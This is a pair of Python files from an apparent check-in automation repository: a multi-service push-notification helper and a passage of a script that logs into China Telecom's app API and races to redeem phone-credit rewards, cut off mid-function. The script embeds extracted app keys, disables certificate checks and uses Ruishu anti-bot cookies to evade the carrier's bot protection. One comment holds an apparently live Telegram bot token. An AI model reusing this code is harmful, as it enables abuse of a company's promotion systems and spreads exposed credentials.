  1 | '''
  2 | Author       : BNDou
  3 | Date         : 2022-11-01 00:18:08
  4 | LastEditTime : 2022-11-01 00:18:51
  5 | FilePath     : \DailyCheckin_EnShan\sendNotify.py
  6 | Description  : 
  7 | '''
  8 | #!/usr/bin/env python3
  9 | # _*_ coding:utf-8 _*_
 10 | 
 11 | #Modify: Kirin
 12 | 
 13 | from curses.ascii import FS
 14 | import sys
 15 | import os, re
 16 | import requests
 17 | import json
 18 | import time
 19 | import hmac
 20 | import hashlib
 21 | import base64
 22 | import urllib.parse
 23 | from requests.adapters import HTTPAdapter
 24 | from urllib3.util import Retry
 25 | 
 26 | cur_path = os.path.abspath(os.path.dirname(__file__))
 27 | root_path = os.path.split(cur_path)[0]
 28 | sys.path.append(root_path)
 29 | 
 30 | # 通知服务
 31 | BARK = ''                   # bark服务,自行搜索; secrets可填;
 32 | BARK_PUSH=''                # bark自建服务器，要填完整链接，结尾的/不要
 33 | PUSH_KEY = ''                  # Server酱的PUSH_KEY; secrets可填
 34 | TG_BOT_TOKEN = ''           # tg机器人的TG_BOT_TOKEN; secrets可填1407203283:AAG9rt-6RDaaX0HBLZQq0laNOh898iFYaRQ
 35 | TG_USER_ID = ''             # tg机器人的TG_USER_ID; secrets可填 1434078534
 36 | TG_API_HOST=''              # tg 代理api
 37 | TG_PROXY_IP = ''            # tg机器人的TG_PROXY_IP; secrets可填
 38 | TG_PROXY_PORT = ''          # tg机器人的TG_PROXY_PORT; secrets可填
 39 | DD_BOT_TOKEN = ''           # 钉钉机器人的DD_BOT_TOKEN; secrets可填
 40 | DD_BOT_SECRET = ''          # 钉钉机器人的DD_BOT_SECRET; secrets可填
 41 | QQ_SKEY = ''                # qq机器人的QQ_SKEY; secrets可填
 42 | QQ_MODE = ''                # qq机器人的QQ_MODE; secrets可填
 43 | QYWX_AM = ''                # 企业微信
 44 | QYWX_KEY = ''                # 企业微信BOT
 45 | PUSH_PLUS_TOKEN = ''        # 微信推送Plus+
 46 | FS_KEY = ''                 #飞书群BOT
 47 | 
 48 | notify_mode = []
 49 | 
 50 | message_info = ''''''
 51 | 
 52 | # GitHub action运行需要填写对应的secrets
 53 | if "BARK" in os.environ and os.environ["BARK"]:
 54 |     BARK = os.environ["BARK"]
 55 | if "BARK_PUSH" in os.environ and os.environ["BARK_PUSH"]:
 56 |     BARK_PUSH = os.environ["BARK_PUSH"]
 57 | if "PUSH_KEY" in os.environ and os.environ["PUSH_KEY"]:
 58 |     PUSH_KEY = os.environ["PUSH_KEY"]
 59 | if "TG_BOT_TOKEN" in os.environ and os.environ["TG_BOT_TOKEN"] and "TG_USER_ID" in os.environ and os.environ["TG_USER_ID"]:
 60 |     TG_BOT_TOKEN = os.environ["TG_BOT_TOKEN"]
 61 |     TG_USER_ID = os.environ["TG_USER_ID"]
 62 | if "TG_API_HOST" in os.environ and os.environ["TG_API_HOST"]:
 63 |     TG_API_HOST = os.environ["TG_API_HOST"]
 64 | if "DD_BOT_TOKEN" in os.environ and os.environ["DD_BOT_TOKEN"] and "DD_BOT_SECRET" in os.environ and os.environ["DD_BOT_SECRET"]:
 65 |     DD_BOT_TOKEN = os.environ["DD_BOT_TOKEN"]
 66 |     DD_BOT_SECRET = os.environ["DD_BOT_SECRET"]
 67 | if "QQ_SKEY" in os.environ and os.environ["QQ_SKEY"] and "QQ_MODE" in os.environ and os.environ["QQ_MODE"]:
 68 |     QQ_SKEY = os.environ["QQ_SKEY"]
 69 |     QQ_MODE = os.environ["QQ_MODE"]
 70 | # 获取pushplus+ PUSH_PLUS_TOKEN
 71 | if "PUSH_PLUS_TOKEN" in os.environ:
 72 |     if len(os.environ["PUSH_PLUS_TOKEN"]) > 1:
 73 |         PUSH_PLUS_TOKEN = os.environ["PUSH_PLUS_TOKEN"]
 74 |         # print("已获取并使用Env环境 PUSH_PLUS_TOKEN")
 75 | # 获取企业微信应用推送 QYWX_AM
 76 | if "QYWX_AM" in os.environ:
 77 |     if len(os.environ["QYWX_AM"]) > 1:
 78 |         QYWX_AM = os.environ["QYWX_AM"]
 79 |         
 80 | 
 81 | if "QYWX_KEY" in os.environ:
 82 |     if len(os.environ["QYWX_KEY"]) > 1:
 83 |         QYWX_KEY = os.environ["QYWX_KEY"]        
 84 |         # print("已获取并使用Env环境 QYWX_AM")
 85 | 
 86 | #接入飞书webhook推送
 87 | if "FS_KEY" in os.environ:
 88 |     if len(os.environ["FS_KEY"]) > 1:
 89 |         FS_KEY = os.environ["FS_KEY"]
 90 | 
 91 | 
 92 | if BARK:
 93 |     notify_mode.append('bark')
 94 |     # print("BARK 推送打开")
 95 | if BARK_PUSH:
 96 |     notify_mode.append('bark')
 97 |     # print("BARK 推送打开")
 98 | if PUSH_KEY:
 99 |     notify_mode.append('sc_key')
100 |     # print("Server酱 推送打开")
101 | if TG_BOT_TOKEN and TG_USER_ID:
102 |     notify_mode.append('telegram_bot')
103 |     # print("Telegram 推送打开")
104 | if DD_BOT_TOKEN and DD_BOT_SECRET:
105 |     notify_mode.append('dingding_bot')
106 |     # print("钉钉机器人 推送打开")
107 | if QQ_SKEY and QQ_MODE:
108 |     notify_mode.append('coolpush_bot')
109 |     # print("QQ机器人 推送打开")
110 | 
111 | if PUSH_PLUS_TOKEN:
112 |     notify_mode.append('pushplus_bot')
113 |     # print("微信推送Plus机器人 推送打开")
114 | if QYWX_AM:
115 |     notify_mode.append('wecom_app')
116 |     # print("企业微信机器人 推送打开")
117 | 
118 | if QYWX_KEY:
119 |     notify_mode.append('wecom_key')
120 |     # print("企业微信机器人 推送打开")
121 | 
122 | if FS_KEY:
123 |     notify_mode.append('fs_key')
124 |     # print("飞书机器人 推送打开")
125 | 
126 | def message(str_msg):
127 |     global message_info
128 |     print(str_msg)
129 |     message_info = "{}\n{}".format(message_info, str_msg)
130 |     sys.stdout.flush()
131 | 
132 | def bark(title, content):
133 |     print("\n")
134 |     if BARK:
135 |         try:
136 |             response = requests.get(
137 |             f"""https://api.day.app/{BARK}/{title}/{urllib.parse.quote_plus(content)}""").json()
138 |             if response['code'] == 200:
139 |                 print('推送成功！')
140 |             else:
141 |                 print('推送失败！')
142 |         except:
143 |             print('推送失败！')
144 |     if BARK_PUSH:
145 |         try:
146 |             response = requests.get(
147 |             f"""{BARK_PUSH}/{title}/{urllib.parse.quote_plus(content)}""").json()
148 |             if response['code'] == 200:
149 |                 print('推送成功！')
150 |             else:
151 |                 print('推送失败！')
152 |         except:
153 |             print('推送失败！')
154 |     print("bark服务启动")
155 |     if BARK=='' and BARK_PUSH=='':
156 |         print("bark服务的bark_token未设置!!\n取消推送")
157 |         return
158 | 
159 | def serverJ(title, content):
160 |     print("\n")
161 |     if not PUSH_KEY:
162 |         print("server酱服务的PUSH_KEY未设置!!\n取消推送")
163 |         return
164 |     print("serverJ服务启动")
165 |     data = {
166 |         "text": title,
167 |         "desp": content.replace("\n", "\n\n")
168 |     }
169 |     response = requests.post(f"https://sc.ftqq.com/{PUSH_KEY}.send", data=data).json()
170 |     if response['errno'] == 0:
171 |         print('推送成功！')
172 |     else:
173 |         print('推送失败！')
174 | 
175 | # tg通知
176 | def telegram_bot(title, content):
177 |     try:
178 |         print("\n")
179 |         bot_token = TG_BOT_TOKEN
180 |         user_id = TG_USER_ID
181 |         if not bot_token or not user_id:
182 |             print("tg服务的bot_token或者user_id未设置!!\n取消推送")
183 |             return
184 |         print("tg服务启动")
185 |         if TG_API_HOST:
186 |             if 'http' in TG_API_HOST:
187 |                 url = f"{TG_API_HOST}/bot{TG_BOT_TOKEN}/sendMessage"
188 |             else:
189 |                 url = f"https://{TG_API_HOST}/bot{TG_BOT_TOKEN}/sendMessage"
190 |         else:
191 |             url = f"https://api.telegram.org/bot{TG_BOT_TOKEN}/sendMessage"
192 | 
193 |         headers = {'Content-Type': 'application/x-www-form-urlencoded'}
194 |         payload = {'chat_id': str(TG_USER_ID), 'text': f'{title}\n\n{content}', 'disable_web_page_preview': 'true'}
195 |         proxies = None
196 |         if TG_PROXY_IP and TG_PROXY_PORT:
197 |             proxyStr = "http://{}:{}".format(TG_PROXY_IP, TG_PROXY_PORT)
198 |             proxies = {"http": proxyStr, "https": proxyStr}
199 |         try:
200 |             response = requests.post(url=url, headers=headers, params=payload, proxies=proxies).json()
201 |         except:
202 |             print('推送失败！')
203 |         if response['ok']:
204 |             print('推送成功！')
205 |         else:
206 |             print('推送失败！')
207 |     except Exception as e:
208 |         print(e)
209 | 
210 | def dingding_bot(title, content):
211 |     timestamp = str(round(time.time() * 1000))  # 时间戳
212 |     secret_enc = DD_BOT_SECRET.encode('utf-8')
213 |     string_to_sign = '{}\n{}'.format(timestamp, DD_BOT_SECRET)
214 |     string_to_sign_enc = string_to_sign.encode('utf-8')
215 |     hmac_code = hmac.new(secret_enc, string_to_sign_enc, digestmod=hashlib.sha256).digest()
216 |     sign = urllib.parse.quote_plus(base64.b64encode(hmac_code))  # 签名
217 |     print('开始使用 钉钉机器人 推送消息...', end='')
218 |     url = f'https://oapi.dingtalk.com/robot/send?access_token={DD_BOT_TOKEN}&timestamp={timestamp}&sign={sign}'
219 |     headers = {'Content-Type': 'application/json;charset=utf-8'}
220 |     data = {
221 |         'msgtype': 'text',
222 |         'text': {'content': f'{title}\n\n{content}'}
223 |     }
224 |     response = requests.post(url=url, data=json.dumps(data), headers=headers, timeout=15).json()
225 |     if not response['errcode']:
226 |         print('推送成功！')
227 |     else:
228 |         print('推送失败！')
229 | 
230 | def coolpush_bot(title, content):
231 |     print("\n")
232 |     if not QQ_SKEY or not QQ_MODE:
233 |         print("qq服务的QQ_SKEY或者QQ_MODE未设置!!\n取消推送")
234 |         return
235 |     print("qq服务启动")
236 |     url=f"https://qmsg.zendee.cn/{QQ_MODE}/{QQ_SKEY}"
237 |     payload = {'msg': f"{title}\n\n{content}".encode('utf-8')}
238 |     response = requests.post(url=url, params=payload).json()
239 |     if response['code'] == 0:
240 |         print('推送成功！')
241 |     else:
242 |         print('推送失败！')
243 | # push推送
244 | def pushplus_bot(title, content):
245 |     try:
246 |         print("\n")
247 |         if not PUSH_PLUS_TOKEN:
248 |             print("PUSHPLUS服务的token未设置!!\n取消推送")
249 |             return
250 |         print("PUSHPLUS服务启动")
251 |         url = 'http://www.pushplus.plus/send'
252 |         data = {
253 |             "token": PUSH_PLUS_TOKEN,
254 |             "title": title,
255 |             "content": content
256 |         }
257 |         body = json.dumps(data).encode(encoding='utf-8')
258 |         headers = {'Content-Type': 'application/json'}
259 |         response = requests.post(url=url, data=body, headers=headers).json()
260 |         if response['code'] == 200:
261 |             print('推送成功！')
262 |         else:
263 |             print('推送失败！')
264 |     except Exception as e:
265 |         print(e)
266 | 
267 | 
268 | 
269 | print("xxxxxxxxxxxx")
270 | def wecom_key(title, content):
271 |     print("\n")
272 |     if not QYWX_KEY:
273 |         print("QYWX_KEY未设置!!\n取消推送")
274 |         return
275 |     print("QYWX_KEY服务启动")
276 |     print("content"+content)
277 |     headers = {'Content-Type': 'application/json'}
278 |     data = { 
279 |         "msgtype":"text",
280 |         "text":{
281 |             "content":title+"\n"+content.replace("\n", "\n\n")
282 |          }
283 |     }
284 |     
285 |     print(f"https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key={QYWX_KEY}")
286 |     response = requests.post(f"https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key={QYWX_KEY}", json=data,headers=headers).json()
287 |     print(response)
288 | 
289 | # 飞书机器人推送
290 | def fs_key(title, content):
291 |     print("\n")
292 |     if not FS_KEY:
293 |         print("FS_KEY未设置!!\n取消推送")
294 |         return
295 |     print("FS_KEY服务启动")
296 |     print("content"+content)
297 |     headers = {'Content-Type': 'application/json'}
298 |     data = { 
299 |         "msg_type":"text",
300 |         "content":{
301 |             "text":title+"\n"+content.replace("\n", "\n\n")
302 |          }
303 |     }
304 |     
305 |     print(f"https://open.feishu.cn/open-apis/bot/v2/hook/{FS_KEY}")
306 |     response = requests.post(f"https://open.feishu.cn/open-apis/bot/v2/hook/{FS_KEY}", json=data,headers=headers).json()
307 |     print(response)
308 | 
309 | 
310 | # 企业微信 APP 推送
311 | def wecom_app(title, content):
312 |     try:
313 |         if not QYWX_AM:
314 |             print("QYWX_AM 并未设置！！\n取消推送")
315 |             return
316 |         QYWX_AM_AY = re.split(',', QYWX_AM)
317 |         if 4 < len(QYWX_AM_AY) > 5:
318 |             print("QYWX_AM 设置错误！！\n取消推送")
319 |             return
320 |         corpid = QYWX_AM_AY[0]
321 |         corpsecret = QYWX_AM_AY[1]
322 |         touser = QYWX_AM_AY[2]
323 |         agentid = QYWX_AM_AY[3]
324 |         try:
325 |             media_id = QYWX_AM_AY[4]
326 |         except:
327 |             media_id = ''
328 |         wx = WeCom(corpid, corpsecret, agentid)
329 |         # 如果没有配置 media_id 默认就以 text 方式发送
330 |         if not media_id:
331 |             message = title + '\n\n' + content
332 |             response = wx.send_text(message, touser)
333 |         else:
334 |             response = wx.send_mpnews(title, content, media_id, touser)
335 |         if response == 'ok':
336 |             print('推送成功！')
337 |         else:
338 |             print('推送失败！错误信息如下：\n', response)
339 |     except Exception as e:
340 |         print(e)
341 | 
342 | class WeCom:
343 |     def __init__(self, corpid, corpsecret, agentid):
344 |         self.CORPID = corpid
345 |         self.CORPSECRET = corpsecret
346 |         self.AGENTID = agentid
347 | 
348 |     def get_access_token(self):
349 |         url = 'https://qyapi.weixin.qq.com/cgi-bin/gettoken'
350 |         values = {'corpid': self.CORPID,
351 |                   'corpsecret': self.CORPSECRET,
352 |                   }
353 |         req = requests.post(url, params=values)
354 |         data = json.loads(req.text)
355 |         return data["access_token"]
356 | 
357 |     def send_text(self, message, touser="@all"):
358 |         send_url = 'https://qyapi.weixin.qq.com/cgi-bin/message/send?access_token=' + self.get_access_token()
359 |         send_values = {
360 |             "touser": touser,
361 |             "msgtype": "text",
362 |             "agentid": self.AGENTID,
363 |             "text": {
364 |                 "content": message
365 |             },
366 |             "safe": "0"
367 |         }
368 |         send_msges = (bytes(json.dumps(send_values), 'utf-8'))
369 |         respone = requests.post(send_url, send_msges)
370 |         respone = respone.json()
371 |         return respone["errmsg"]
372 | 
373 |     def send_mpnews(self, title, message, media_id, touser="@all"):
374 |         send_url = 'https://qyapi.weixin.qq.com/cgi-bin/message/send?access_token=' + self.get_access_token()
375 |         send_values = {
376 |             "touser": touser,
377 |             "msgtype": "mpnews",
378 |             "agentid": self.AGENTID,
379 |             "mpnews": {
380 |                 "articles": [
381 |                     {
382 |                         "title": title,
383 |                         "thumb_media_id": media_id,
384 |                         "author": "Author",
385 |                         "content_source_url": "",
386 |                         "content": message.replace('\n', '<br/>'),
387 |                         "digest": message
388 |                     }
389 |                 ]
390 |             }
391 |         }
392 |         send_msges = (bytes(json.dumps(send_values), 'utf-8'))
393 |         respone = requests.post(send_url, send_msges)
394 |         respone = respone.json()
395 |         return respone["errmsg"]
396 | 
397 | def send(title, content):
398 |     """
399 |     使用 bark, telegram bot, dingding bot, server, feishuJ 发送手机推送
400 |     :param title:
401 |     :param content:
402 |     :return:
403 |     """
404 | 
405 |     for i in notify_mode:
406 |         if i == 'bark':
407 |             if BARK or BARK_PUSH:
408 |                 bark(title=title, content=content)
409 |             else:
410 |                 print('未启用 bark')
411 |             continue
412 |         if i == 'sc_key':
413 |             if PUSH_KEY:
414 |                 serverJ(title=title, content=content)
415 |             else:
416 |                 print('未启用 Server酱')
417 |             continue
418 |         elif i == 'dingding_bot':
419 |             if DD_BOT_TOKEN and DD_BOT_SECRET:
420 |                 dingding_bot(title=title, content=content)
421 |             else:
422 |                 print('未启用 钉钉机器人')
423 |             continue
424 |         elif i == 'telegram_bot':
425 |             if TG_BOT_TOKEN and TG_USER_ID:
426 |                 telegram_bot(title=title, content=content)
427 |             else:
428 |                 print('未启用 telegram机器人')
429 |             continue
430 |         elif i == 'coolpush_bot':
431 |             if QQ_SKEY and QQ_MODE:
432 |                 coolpush_bot(title=title, content=content)
433 |             else:
434 |                 print('未启用 QQ机器人')
435 |             continue
436 |         elif i == 'pushplus_bot':
437 |             if PUSH_PLUS_TOKEN:
438 |                 pushplus_bot(title=title, content=content)
439 |             else:
440 |                 print('未启用 PUSHPLUS机器人')
441 |             continue
442 |         elif i == 'wecom_app':
443 |             if QYWX_AM:
444 |                 wecom_app(title=title, content=content)
445 |             else:
446 |                 print('未启用企业微信应用消息推送')
447 |             continue
448 |         elif i == 'wecom_key':
449 |             if QYWX_KEY:
450 |                 
451 |                 for i in range(int(len(content)/2000)+1):
452 |                     wecom_key(title=title, content=content[i*2000:(i+1)*2000])     
453 |             else:
454 |                 print('未启用企业微信应用消息推送')
455 |             continue
456 |         elif i == 'fs_key':
457 |             if FS_KEY:
458 |                 fs_key(title=title, content=content)
459 |             else:
460 |                 print('未启用飞书机器人消息推送')
461 |             continue
462 |         else:
463 |             print('此类推送方式不存在')
464 | 
465 | 
466 | def main():
467 |     send('title', 'content')
468 | 
469 | 
470 | if __name__ == '__main__':
471 |     main()
472 | 


--------------------------------------------------------------------------------
/chinatelecom.py:
--------------------------------------------------------------------------------
  1 | """
  2 | 新电信抢话费
  3 | 
  4 | 群里发的，未测试好，自测
  5 | 修改内容如下"
  6 | 1.删除内置的一个手机账号
  7 | 2.修改环境变量名保持和拉菲电信金豆本环境变量一致
  8 | 3.恢复瑞数通杀.js调用地址，确实也不知道是啥。398、399行注释
  9 | 
 10 | 环境变量chinaTelecomAccount，值为：账号#密码
 11 | 
 12 | cron: 56 59 09,13 * * *
 13 | const $ = new Env("新电信抢话费");
 14 | 
 15 | """
 16 | #!/usr/bin/env python3
 17 | import os
 18 | import re
 19 | import sys
 20 | import ssl
 21 | import time
 22 | import json
 23 | import execjs
 24 | import base64
 25 | import random
 26 | import certifi
 27 | import aiohttp
 28 | import asyncio
 29 | import certifi
 30 | import datetime
 31 | import requests
 32 | import binascii
 33 | from lxml import etree
 34 | from http import cookiejar
 35 | from Crypto.Cipher import AES
 36 | from Crypto.Cipher import DES3
 37 | from Crypto.PublicKey import RSA
 38 | from Crypto.Cipher import PKCS1_v1_5
 39 | from Crypto.Util.Padding import pad, unpad
 40 | from aiohttp import ClientSession, TCPConnector
 41 | from concurrent.futures import ThreadPoolExecutor
 42 | import subprocess
 43 | import logging
 44 | 
 45 | logging.basicConfig(
 46 |     level=logging.INFO,
 47 |     format='%(asctime)s - %(levelname)s - %(message)s',
 48 |     handlers=[
 49 |         logging.FileHandler('chinatelecom.log'),
 50 |         logging.StreamHandler()
 51 |     ]
 52 | )
 53 | logger = logging.getLogger(__name__)
 54 | 
 55 | run_num=os.environ.get('reqNUM') or "2"
 56 | 
 57 | # 添加配置类
 58 | class Config:
 59 |     MAX_RETRIES = 3
 60 |     RATE_LIMIT = 10
 61 |     REQUEST_TIMEOUT = 30
 62 |     BASE_URL = "https://wapact.189.cn:9001"
 63 |     USER_AGENT = "Mozilla/5.0 (Linux; Android 13; 22081212C Build/TKQ1.220829.002) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.97 Mobile Safari/537.36"
 64 | 
 65 | class RateLimiter:
 66 |     def __init__(self, rate_limit):
 67 |         self.rate_limit = rate_limit
 68 |         self.tokens = rate_limit
 69 |         self.updated_at = time.monotonic()
 70 | 
 71 |     async def acquire(self):
 72 |         while self.tokens < 1:
 73 |             self.add_new_tokens()
 74 |             await asyncio.sleep(0.1)
 75 |         self.tokens -= 1
 76 | 
 77 |     def add_new_tokens(self):
 78 |         now = time.monotonic()
 79 |         time_since_update = now - self.updated_at
 80 |         new_tokens = time_since_update * self.rate_limit
 81 |         if new_tokens > 1:
 82 |             self.tokens = min(self.tokens + new_tokens, self.rate_limit)
 83 |             self.updated_at = now
 84 | 
 85 | class AsyncSessionManager:
 86 |     def __init__(self):
 87 |         self.session = None
 88 |         self.connector = None
 89 | 
 90 |     async def __aenter__(self):
 91 |         ssl_context = ssl.create_default_context(cafile=certifi.where())
 92 |         ssl_context.set_ciphers('DEFAULT@SECLEVEL=1')
 93 |         self.connector = TCPConnector(ssl=ssl_context, limit=1000)
 94 |         self.session = ClientSession(connector=self.connector)
 95 |         return self.session
 96 | 
 97 |     async def __aexit__(self, exc_type, exc_val, exc_tb):
 98 |         await self.session.close()
 99 |         await self.connector.close()
100 | 
101 | async def retry_request(session, method, url, **kwargs):
102 |     for attempt in range(MAX_RETRIES):
103 |         try:
104 |             await asyncio.sleep(1)
105 |             async with session.request(method, url, **kwargs) as response:
106 |                 return await response.json()
107 |                 # return await response.json()
108 | 
109 |         except (aiohttp.ClientConnectionError, aiohttp.ServerTimeoutError) as e:
110 |             print(f"请求失败，第 {attempt + 1} 次重试: {e}")
111 |             if attempt == MAX_RETRIES - 1:
112 |                 raise
113 |             await asyncio.sleep(2 ** attempt)
114 | 
115 | class BlockAll(cookiejar.CookiePolicy):
116 |     return_ok = set_ok = domain_return_ok = path_return_ok = lambda self, *args, **kwargs: False
117 |     netscape = True
118 |     rfc2965 = hide_cookie2 = False
119 | 
120 | def printn(m):
121 |     current_time = datetime.datetime.now().strftime("%H:%M:%S.%f")[:-3]
122 |     print(f'\n[{current_time}] {m}')
123 | 
124 | context = ssl.create_default_context()
125 | context.set_ciphers('DEFAULT@SECLEVEL=1')  # 低安全级别0/1
126 | context.check_hostname = False  # 禁用主机
127 | context.verify_mode = ssl.CERT_NONE  # 禁用证书
128 | 
129 | class DESAdapter(requests.adapters.HTTPAdapter):
130 |     def init_poolmanager(self, *args, **kwargs):
131 |         kwargs['ssl_context'] = context
132 |         return super().init_poolmanager(*args, **kwargs)
133 | 
134 | requests.packages.urllib3.disable_warnings()
135 | # urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
136 | ss = requests.session()
137 | ss.headers={"User-Agent":"Mozilla/5.0 (Linux; Android 13; 22081212C Build/TKQ1.220829.002) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.97 Mobile Safari/537.36","Referer":"https://wapact.189.cn:9001/JinDouMall/JinDouMall_independentDetails.html"}
138 | ss.mount('https://', DESAdapter())
139 | ss.cookies.set_policy(BlockAll())
140 | runTime = 0
141 | key = b'1234567`90koiuyhgtfrdews'
142 | iv = 8 * b'\0'
143 | 
144 | public_key_b64 = '''-----BEGIN PUBLIC KEY-----
145 | MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDBkLT15ThVgz6/NOl6s8GNPofdWzWbCkWnkaAm7O2LjkM1H7dMvzkiqdxU02jamGRHLX/ZNMCXHnPcW/sDhiFCBN18qFvy8g6VYb9QtroI09e176s+ZCtiv7hbin2cCTj99iUpnEloZm19lwHyo69u5UMiPMpq0/XKBO8lYhN/gwIDAQAB
146 | -----END PUBLIC KEY-----'''
147 | 
148 | public_key_data = '''-----BEGIN PUBLIC KEY-----
149 | MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC+ugG5A8cZ3FqUKDwM57GM4io6JGcStivT8UdGt67PEOihLZTw3P7371+N47PrmsCpnTRzbTgcupKtUv8ImZalYk65dU8rjC/ridwhw9ffW2LBwvkEnDkkKKRi2liWIItDftJVBiWOh17o6gfbPoNrWORcAdcbpk2L+udld5kZNwIDAQAB
150 | -----END PUBLIC KEY-----'''
151 | 
152 | def get_first_three(value):
153 |     # 处理数字情况
154 |     if isinstance(value, (int, float)):
155 |         return int(str(value)[:3])
156 |     elif isinstance(value, str):
157 |         return str(value)[:3]
158 |     else:
159 |         raise TypeError("error")
160 | 
161 | def run_Time(hour,miute,second):
162 |     date = datetime.datetime.now()
163 |     date_zero = datetime.datetime.now().replace(year=date.year, month=date.month, day=date.day, hour=hour, minute=miute, second=second)
164 |     date_zero_time = int(time.mktime(date_zero.timetuple()))
165 |     return date_zero_time
166 | 
167 | def encrypt(text):
168 |     cipher = DES3.new(key, DES3.MODE_CBC, iv)
169 |     ciphertext = cipher.encrypt(pad(text.encode(), DES3.block_size))
170 |     return ciphertext.hex()
171 | 
172 | def decrypt(text):
173 |     ciphertext = bytes.fromhex(text)
174 |     cipher = DES3.new(key, DES3.MODE_CBC, iv)
175 |     plaintext = unpad(cipher.decrypt(ciphertext), DES3.block_size)
176 |     return plaintext.decode()
177 | 
178 | def b64(plaintext):
179 |     public_key = RSA.import_key(public_key_b64)
180 |     cipher = PKCS1_v1_5.new(public_key)
181 |     ciphertext = cipher.encrypt(plaintext.encode())
182 |     return base64.b64encode(ciphertext).decode()
183 | 
184 | def encrypt_para(plaintext):
185 |     if not isinstance(plaintext, str):
186 |         plaintext = json.dumps(plaintext)
187 |     public_key = RSA.import_key(public_key_data)
188 |     cipher = PKCS1_v1_5.new(public_key)
189 |     ciphertext = cipher.encrypt(plaintext.encode())
190 |     return binascii.hexlify(ciphertext).decode()
191 | 
192 | def encode_phone(text):
193 |     encoded_chars = []
194 |     for char in text:
195 |         encoded_chars.append(chr(ord(char) + 2))
196 |     return ''.join(encoded_chars)
197 | 
198 | 
199 | def getApiTime(api_url):
200 |         try:
201 |              with requests.get(api_url) as response:
202 |                 if(not response or not response.text):
203 |                     return time.time()
204 |                 json_data = json.loads(response.text)
205 |                 if (json_data.get("api")and json_data.get("api")not in("time") ):
206 |                     timestamp_str = json_data.get('data', {}).get('t', '')
207 |                 else:
208 |                     timestamp_str = json_data.get('currentTime', {})
209 |                 timestamp = int(timestamp_str) / 1000.0  # 将毫秒转为秒
210 |                 difftime=time.time()-timestamp
211 |                 return difftime;
212 |         except Exception as e:
213 |             print(f"获取时间失败: {e}")
214 |             return 0;
215 | 
216 | 
217 | def userLoginNormal(phone,password):
218 |     alphabet = 'abcdef0123456789'
219 |     uuid = [''.join(random.sample(alphabet, 8)),''.join(random.sample(alphabet, 4)),'4'+''.join(random.sample(alphabet, 3)),''.join(random.sample(alphabet, 4)),''.join(random.sample(alphabet, 12))]
220 |     timestamp=datetime.datetime.now().strftime("%Y%m%d%H%M%S")
221 |     loginAuthCipherAsymmertric = 'iPhone 14 15.4.' + uuid[0] + uuid[1] + phone + timestamp + password[:6] + '0$$$0.'
222 |     r = ss.post('https://appgologin.189.cn:9031/login/client/userLoginNormal',json={"headerInfos": {"code": "userLoginNormal", "timestamp": timestamp, "broadAccount": "", "broadToken": "", "clientType": "#9.6.1#channel50#iPhone 14 Pro Max#", "shopId": "20002", "source": "110003", "sourcePassword": "Sid98s", "token": "", "userLoginName": phone}, "content": {"attach": "test", "fieldData": {"loginType": "4", "accountType": "", "loginAuthCipherAsymmertric": b64(loginAuthCipherAsymmertric), "deviceUid": uuid[0] + uuid[1] + uuid[2], "phoneNum": encode_phone(phone), "isChinatelecom": "0", "systemVersion": "15.4.0", "authentication": password}}},verify=certifi.where()).json()
223 |     l = r['responseData']['data']['loginSuccessResult']
224 |     if l:
225 |         ticket = get_ticket(phone,l['userId'],l['token'])
226 |         return ticket
227 |     return False
228 | 
229 | async def exchangeForDay(phone, session, run_num, rid, stime):
230 |     async def delayed_conversion(delay):
231 |         await asyncio.sleep(delay)
232 |         await conversionRights(phone, rid,session)
233 |     tasks = [asyncio.create_task(delayed_conversion(i * stime)) for i in range(int(run_num))]
234 |     await asyncio.gather(*tasks)
235 | def get_ticket(phone,userId,token):
236 |     r = ss.post('https://appgologin.189.cn:9031/map/clientXML',data='<Request><HeaderInfos><Code>getSingle</Code><Timestamp>'+datetime.datetime.now().strftime("%Y%m%d%H%M%S")+'</Timestamp><BroadAccount></BroadAccount><BroadToken></BroadToken><ClientType>#9.6.1#channel50#iPhone 14 Pro Max#</ClientType><ShopId>20002</ShopId><Source>110003</Source><SourcePassword>Sid98s</SourcePassword><Token>'+token+'</Token><UserLoginName>'+phone+'</UserLoginName></HeaderInfos><Content><Attach>test</Attach><FieldData><TargetId>'+encrypt(userId)+'</TargetId><Url>4a6862274835b451</Url></FieldData></Content></Request>',headers={'user-agent': 'CtClient;10.4.1;Android;13;22081212C;NTQzNzgx!#!MTgwNTg1'},verify=certifi.where())
237 |     tk = re.findall('<Ticket>(.*?)</Ticket>',r.text)
238 |     if len(tk) == 0:
239 |         return False
240 |     return decrypt(tk[0])
241 | 
242 | async def exchange(s, phone, title, aid,jsexec, ckvalue):
243 |     try:
244 |         url="https://wapact.189.cn:9001/gateway/standExchange/detailNew/exchange"
245 |         # getck = await asyncio.to_thread(jsexec.call, "getck") # 两种方式，一种用ck，一种用后缀
246 |         # getck = getck.split(';')[0].split('=')
247 |         # ckvalue[getck[0]] = getck[1]
248 | 
249 |         # async with s.post(url, cookies=ckvalue, json={"activityId": aid}) as response:
250 | 
251 |         # 通过 retry_request 实现重试机制
252 |         # response = await retry_request(s, 'POST', get_url, cookies=ckvalue, json={"activityId": aid})
253 | 
254 |         get_url = await asyncio.to_thread(jsexec.call,"getUrl", "POST",url)
255 |         async with s.post(get_url, cookies=ckvalue, json={"activityId": aid}) as response:
256 |             pass
257 |     except Exception as e:
258 |         print(e)
259 | 
260 | 
261 | 
262 | async def check(s,item,ckvalue):
263 |     checkGoods = s.get('https://wapact.189.cn:9001/gateway/stand/detailNew/check?activityId=' + item, cookies=ckvalue).json()
264 |     return checkGoods
265 | 
266 | async def conversionRights(phone, aid, session):
267 |     try:
268 |         # 获取 Ruishu cookies
269 |         ruishu_cookies = get_ruishu_cookies()
270 |         if not ruishu_cookies:
271 |             print(f"{get_first_three(phone)}: 无法获取 Ruishu cookies")
272 |             return
273 | 
274 |         value = {
275 |             "phone": phone,
276 |             "rightsId": aid
277 |         }
278 |         paraV = encrypt_para(value)
279 | 
280 |         printn(f"{get_first_three(phone)}:开始兑换")
281 | 
282 |         # 使用 Ruishu cookies 发送请求
283 |         response = session.post(
284 |             'https://wapside.189.cn:9001/jt-sign/paradise/conversionRights',
285 |             json={"para": paraV},
286 |             cookies=ruishu_cookies
287 |         )
288 | 
